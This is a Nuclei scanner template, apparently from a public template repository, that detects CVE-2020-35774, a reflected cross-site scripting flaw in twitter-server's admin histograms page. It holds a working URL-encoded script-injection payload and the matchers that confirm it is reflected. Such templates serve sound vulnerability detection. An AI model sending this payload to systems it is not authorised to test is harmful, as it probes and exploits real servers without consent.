nuclei-templates/http/cves/2020/CVE-2020-35774.yaml

52 lines
1.8 KiB
YAML

id: CVE-2020-35774
info:
name: twitter-server Cross-Site Scripting
author: pikpikcu
severity: medium
description: |
twitter-server before 20.12.0 is vulnerable to cross-site scripting in some configurations. The vulnerability exists in the administration panel of twitter-server in the histograms component via server/handler/HistogramQueryHandler.scala.
remediation: |
Apply the latest security patches or updates provided by Twitter to mitigate the XSS vulnerability.
reference:
- https://advisory.checkmarx.net/advisory/CX-2020-4287
- https://nvd.nist.gov/vuln/detail/CVE-2020-35774
- https://github.com/twitter/twitter-server/commit/e0aeb87e89a6e6c711214ee2de0dd9f6e5f9cb6c
- https://github.com/twitter/twitter-server/compare/twitter-server-20.10.0...twitter-server-20.12.0
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2020-35774
cwe-id: CWE-79
epss-score: 0.97219
epss-percentile: 0.99766
cpe: cpe:2.3:a:twitter:twitter-server:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: twitter
product: twitter-server
tags: cve,cve2020,xss,twitter-server
http:
- method: GET
path:
- "{{BaseURL}}/admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100e8394479cf357bcb45998e7680bd36633fd99b1f14fb9e8ac208601e571f318f022100c787103850f43d8aa0cdb3bb309856fb19f0cc3686d21218513d18eb4543346e:922c64590222798bb761d5b6d8e72950